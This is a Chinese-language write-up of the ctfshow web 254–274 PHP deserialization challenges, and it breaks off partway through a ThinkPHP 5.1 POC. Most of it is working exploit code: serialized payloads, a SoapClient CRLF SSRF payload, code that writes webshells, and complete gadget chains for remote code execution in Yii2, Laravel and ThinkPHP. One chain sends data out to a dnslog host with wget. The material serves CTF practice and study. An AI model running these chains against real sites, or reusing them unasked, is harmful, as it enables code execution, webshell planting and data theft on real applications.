ctfshow_反序列化

web 254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

代码审计一下 条件是 实例化对象的账号密码是 xxxxxx / xxxxxx

web 255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

  1. 触发位置 Cookie 通过反序列化给$isVip=true 同时这里 username 和 password 还是可以 get 传参
1
$user = unserialize($_COOKIE['user']);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{

public $isVip=false;

}

$a = new ctfShowUser();
$a->isVip = true;

echo serialize($a);

// O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
// url编码处理
// O%3A11......%7D
  1. payload ( 传参修改的是默认账号密码 Cookie 是实例化对象 这里不另外赋值就是默认的账号密码)
1
2
3
GET:  ?username=xxxxxx&password=xxxxxx

COOKIE: user=O:11:"ctfShowUser":1:{s:5:"isVip"%3Bb:1%3B}

web 256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
  1. 实例化对象需要满足 $this->username!==$this->password
1
2
3
4
?username=choco&password=xxxxxx

// urlencode user=O:11:"ctfShowUser":2:{s:8:"username";s:5:"choco";s:5:"isVip";b:1;}
user=%4f%3a%31%31%3a......%3b%7d

web 257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
  1. 利用 ctfShowUser 析构函数触发 getInfo() 并且是 backDoor 的 getInfo( ) 这里其实构造函数也提示了
  2. 使得 class 指向 backDoor
  3. payload 因为涉及到 private 属性 值会有前后两个特殊符号 需 url 编码输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class ctfShowUser{
private $username='1';
private $password='2';
private $isVip=false;
private $class;

public function __construct()
//析构函数用于给实例化的backDoor->code赋值 必不可少
{
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac f*');";
}

$c=new ctfShowUser();

echo "user=".urlencode(serialize($c));

// /?username=1&password=2
// user=O%3A11......7D%7D

web 258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
  1. 存在过滤 preg_match(‘/[oc]:\d+:/i’, $_COOKIE[‘user’]) 也就是不允许 O:数字 或者 c:数字 这里 O:11 开头是实例化对象必须的
  2. 在数字前面可以加 加号 + 然后账号密码无所谓
  3. payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=True;
public $class;

public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='eval($_POST[1]);';
}

$c=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$c); // 这里一个是ctfShowUser
$b=str_replace(':8',':+8',$b); // 一个是backDoor
echo "user=".urlencode($b);

// user=O%3A11......7D%7D
  1. 传参

GET: username 和 password 不要为空就行

POST 小马: 1=system(‘tac fl*‘);

COOKIE: O%3A%2B11……7D%7D

web 259 SoapClient 反序列化 SSRF

考点是利用  SoapClient  类反序列化 + CRLF  实现  SSRF,构造请求访问  flag.php  得到 flag
反序列化后的  SoapClient  对象在调用不存在的方法时会调用  __call,在  user_agent  中插入  CRLF  也就是  \r\n  控制  header  和  body  构造想要的请求

  1. index.php 和 flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

// flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //把字符串打散为数组
array_pop($xff); //去除数组最后一个元素,返回数组的最后一个值
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
  1. 考察了 soap 类反序列化 我是 php7.3.4 直接去 phpstudy 改配置文件 extension=soap
  2. 对于 array_pop 每次会返回最后一个元素并删除 因此
1
2
3
X-Forwarded-For:x ——> 返回:x ——>X-Forwarded-For:空
X-Forwarded-For:x,y ——> 返回:y ——>X-Forwarded-For:x
X-Forwarded-For:x,y,z ——> 返回:z ——>X-Forwarded-For:y

如果想要 $ip = 127.0.0.1 则 X-Forwarded-For: 127.0.0.1,127.0.0.1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$target = "http://127.0.0.1/flag.php";
$post = "token=ctfshow";
$a = new SoapClient(null, array(
"location" => $target,
"user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".(string)strlen($post)."\r\n\r\n".$post,
"uri" => "aaaa"
));

var_dump(urlencode(serialize($a)));

//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

web 260

1
2
3
4
5
6
<?php
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

/?ctfshow=ctfshow_i_love_36D

web 261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d) // 0x36D = 877
{
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

这里参考 php 官方文档 给出的性质

如果类中同时定义了 **unserialize() 和 **wakeup() 两个魔术方法,则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。

此特性自 PHP 7.4.0 起可用。

  1. 响应标头中 X-Powered-By: PHP/7.4.16 因此只有 unserialize() 方法会生效,wakeup() 方法会被忽略
  2. payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class ctfshowvip{
public $username = "877.php";
public $password = "<?php @eval(\$_POST[2]);";
}

$a = new ctfshowvip();

echo urlencode(serialize($a));

//https://.ctf.show/?vip=O%3A.....%7D

//https://.ctf.show/877.php POST:2=system('cat /f*');

web 262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

include('flag.php');

class message{
...
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

这里跟 web259 一样 尝试两种做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class message{
public $from = 1;
public $msg = 1;
public $to = 1;
public $token='admin';

}

$a = new message();

echo base64_encode(serialize($a));

//COOKIE: msg=Tzo3...Ijt9

( 2 ) 字符逃逸

  1. 逃逸目标 : O:7:”message”:1:{s:5:”token”;s:5:”admin”;} 中 {s:5:”token”;s:5:”admin”;}
  2. 加上闭合, 即为 ";``s:5:"token";s:5:"admin";``} 共 27 位 一共 27 个 fuck
  3. 传参 /?f=1&m=1&t=fuck......fuck";s:5:"token";s:5:"admin";}

web 263

进去是个登录页面

下载源码 www.zip

源码内容非常多 ( 总共得用 40kb? 这里没法全部放放入 只挑选一些有用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
// index.php
$_SESSION['limit']=base64_decode($_COOKIE['limit']);

// /inc/inc.php
ini_set('session.serialize_handler', 'php');
// session读: php处理器 EG a|O:5:"choco":2:{s:4:"name";N;s:6:"passwd";N;}

class User
{
public $username;
public $password;
public $status;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
function setStatus($s)
{
$this->status = $s;
}
function __destruct()
{
file_put_contents("log-" . $this->username, "使用" . $this->password ... );
}
}

在  php 5.5.4  以前默认选择的是  php5.5.4  之后就是  php_serialize,这里的  php  版本为  7.3.11,那么默认就是  php_serialize

  1. 在 index.php 通过 cookie 写入 SESSION
  2. SESSION 在 inc.php 中 自动反序列化 并执行 user 类的 file_put_contents( choco.php , cmd ) 方法
  3. 根据读 SESSION 是 php 处理器, 构造 payload: choco | user
1
2
3
4
5
6
7
8
9
10
<?php
class User{
public $username="admin/../../../../../../../../../../var/www/html/choco.php";
public $password="<?php system('cat flag.php');?>";
public $status;

}
$a = new User();
$c = "choco|".serialize($a);
echo urlencode(base64_encode($c));
  1. 按照 php_serialize 写入的 SESSION
1
2
3
4
5
6
7
8
// 目标session内容
choco|O:4:"User":3:{s:8:"username".....;N;}

// 实际写入的内容
a:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username"......;N;}

// 用php处理器 执行反序列化的
|O:4:"User":3:{s:8:"username"......;N;}
  1. 默认页面写 session 在 inc.php 触发( 这里借助 访问 check.php include 了 inc.php 触发) choco.php 读 flag

web 264

跟 web262 差不多 但是加上了 session 限制

index.php: /?f=a&m=a&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}

message.php cookie 不为空 访问得到 flag

web 265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('flag.php');

class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

$this->token===$this->password; 引用绕过即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class ctfshowAdmin{
public $token;
public $password;

public function __construct()//这里构造函数里面不要放参数了
{
$this->token=&$this->password;
}

}

$choco = new ctfshowAdmin;

echo urlencode(serialize( $choco ));

get 传参去反序列化就行

web 266

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include('flag.php');
$cs = file_get_contents('php://input');

class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}

public function __toString(){
return $this->username;
}

public function __destruct(){
global $flag;
echo $flag;
}
}

$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

PHP 大小写:函数名和类名不区分,变量名区分
区分大小写的: 变量名、常量名、数组索引(键名 key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE

因此这里 利用大小写绕过报错 从而顺利析构 输出 flag

1
2
3
4
5
6
7
8
9
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}

$c = new ctfshow();
$a = str_replace("ctfshow", "CTFshow", serialize($c));
var_dump($a);

php://input  要用 bp ( get 传参 直接在 body 里面加上序列化内容即可 )

web 267 框架漏洞

这里基础学习框架漏洞的POC链构造 之后有空再推进度

web 266 Yii 框架

方法一

反序列化入口

  1. login admin/admin
  2. 在 about 中
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    // .../index.php?r=site%2Fabout

    <div class="site-about">
    <h1>Page</h1>

    <p>
    <!--?view-source -->
    </p>

    </div>
  3. 跟进 .../index.php?r=site%2Fabout&view-source
    1
    2
    //backdoor/shell   
    unserialize(base64_decode($_GET['code']))`
  4. 试着访问 /index.php?r=backdoor/shell , 提示Missing required parameters: code
  5. 于是有了反序列化入口但是不知道具体结构

框架分析

  1. wapplayzer 分析得到是 Yii 框架 + php 7.3.11
  2. 搜集 Yii 框架漏洞
  3. Yii2 反序列化漏洞(CVE-2020-15148)复现_yii2 漏洞-CSDN博客
  4. yii反序列化漏洞复现及利用_yii漏洞-CSDN博客
  5. poc 链条构造:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    <?php
    namespace yii\rest{
    class CreateAction{
    public $checkAccess;
    public $id;

    public function __construct(){
    $this->checkAccess = 'whoami';
    $this->id = '1';
    }
    }
    }

    namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
    protected $formatters;
    public function __construct(){
    $this->formatters['close'] = [new CreateAction(), 'run'];
    }
    }
    }

    namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
    private $_dataReader;
    public function __construct(){
    $this->_dataReader = new Generator;
    }
    }
    }
    namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
    }
    ?>
  6. 得到 base64 的序列化 payload TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
  7. payload
    1
    /index.php?r=/backdoor/shell&code=[paylaod]
    成功读出 phpinfo

payload

修改__construct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'passthru'; // system exec被Yii过滤了应该是
$this->id = 'tac /flag';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
1
/index.php?r=backdoor/shell&code=[payload]

方法二

通过反序列化生成木马页面

找到文件路径 (用 DNS 外带出来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "wget `pwd|base64` ????.dnslog.cn"; //需要base64
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

写入木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "<?php echo 'eval(\$POST[a]);phpinfo();?>' > var/html/www/basic/web/coco.php";
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

web 268 Yii 框架

入口及其框架于 257 一样, 但是原来的链子打不出回显
只能换个链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-03 21:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>

web 269 270 同上

Yii 链子汇总

POC 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';//命令执行
}
}
}
namespace Faker {

use yii\rest\IndexAction;

class Generator
{
protected $formatters;

public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{

use Faker\Generator;

class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}

POC 2

yii 2.2.37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\db{

use yii\web\DbSession;

class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{

use yii\rest\IndexAction;

class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}

POC 3

yii 2.0.38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

POC 4

yii 2.0.38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

POC 5

yii 2.0.42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}

class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

POC 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
namespace yii\rest
{
class IndexAction{
function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}

namespace Symfony\Component\String
{
use yii\rest\IndexAction;
class LazyString
{
function __construct()
{
$this->value = [new indexAction(), "run"];
}
}
class UnicodeString
{
function __construct()
{
$this->value = new LazyString();
}
}
}

namespace Faker
{
use Symfony\Component\String\LazyString;
class DefaultGenerator
{
function __construct()
{
$this->default = new LazyString();
}
}

class UniqueGenerator
{
function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = 99999999;
}

}
}

namespace Codeception\Extension
{
use Faker\UniqueGenerator;
class RunProcess
{
function __construct()
{
$this->processes[] = new UniqueGenerator();
}
}
}

namespace
{
use Codeception\Extension\RunProcess;
$exp = new RunProcess();
echo(base64_encode(serialize($exp)));
}

web 271 Laravel5.7

开始搬运( )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cp /f* 1.txt')); //此处执行命令

echo urlencode(serialize($pendingcommand));
}

post data 传入, 读取 1.txt

web272、273——Laravel5.8

(flag 读取 phpinfo 得到)
POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
namespace Illuminate\Broadcasting{

use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;

class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{

use Mockery\Generator\MockDefinition;

class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{

use Mockery\Loader\EvalLoader;

class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{

}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php phpinfo();exit()?>"; //此处是PHP代码
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}

namespace{

use Illuminate\Broadcasting\PendingBroadcast;

echo urlencode(serialize(new PendingBroadcast()));
}

web 274 TP5.1

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["choco"=>["calc.exe","calc"]];
$this->data = ["choco"=>new Request()];
}
}
class Request
{
protected $hook = [];
